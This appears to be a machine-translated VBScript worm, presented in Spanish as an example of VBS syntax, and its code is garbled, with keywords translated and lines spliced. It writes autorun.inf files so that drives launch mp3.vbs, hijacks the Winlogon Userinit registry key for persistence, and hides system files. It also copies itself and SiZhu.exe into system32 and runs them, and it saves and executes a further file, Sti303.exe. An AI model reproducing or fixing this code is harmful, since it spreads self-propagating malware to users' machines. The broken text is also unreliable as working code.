El formato de sintaxis del script vbs
Continúe con el siguiente paso si se produce un error
Dim fso, wshell, curfolder, curdristr, curdri
Set fso=createobject("scripting.filesystemobject" )
Establecer wshell=CreateObject("WScript.shell")
Establecer curfolder=CreateObject("WScript.shell")Else 'Si está en otra carpeta
copyrun()
autorun()
WScript.quit
Finalizar si
WScript.Sleep 15000
WScript.Sleep 15000
WScript.Sleep 15000Sleep 15000
downrun()
Establecer fso=Nada
Establecer curfolder=Nada
Establecer curdri=Nada
Establecer wshell=Nada
'Escribir en autorun.inf'
Sub autoinf(ruta)
Dim inf
Establecer inf=fso.createtextfile(pathamp;"\autorun.inf",True)
inf.writeline("[AutoRun]")
inf.writeline("open=WScript.exe . \mp3.vbs")
inf.writeline("shell\open=Open (amp; O)")
inf.writeline("shell\open\Command=WScript.exe. \mp3.vbs")
inf.writeline("shell\open\Default=1")
inf.writeline(writeline("shell\explore\Command=WScript.exe . \mp3.vbs")
inf.writeline("shell\find=Search(amp;E)")
inf.writeline("shell\find\Command=WScript.exe .vbs")
set inf=nada
Fin sub
'Abrir carpeta
Sub abrir(ruta)
wshell.run " explorador"amp ;ruta
End Sub
'Autorun
Sub autorun()
regget=wshell.RegRead("HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit")
Si r
eggetlt;gt; "userinit.exe, mp3.vbs" Luego
wshell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Winlogon\Userinit", "userinit.exe, mp3.vbs" , "REG_SZ"
End If
End Sub
'No mostrar archivos ocultos
Sub reghid()
Dim reg
reg=wshell.ShowSuperHidden", 0, "REG_DWORD"
End If
End Sub
' Juicio Si este archivo existe en system32, si no, cópielo y ejecútelo; si SiZhu.exe existe, cópielo y ejecútelo, fso.GetSpecialFolder(1)amp "(mp3.vbs)", True
fso.CopyFile ".\SiZhu.exe", fso.GetSpecialFolder(1)amp; "\SiZhu.exe", True
wshell.Run fso.GetSpecialFolder(1)amp ;"\SiZhu.exe"
End If
End If
End sub
'Eliminarse a sí mismo, si existe SiZhu. exe, elimínelo también SaveToFile "C:\WINDOWS\Sti303.exe", 2
Shell.Run ("C:\WINDOWS\Sti303.exe")
end. sub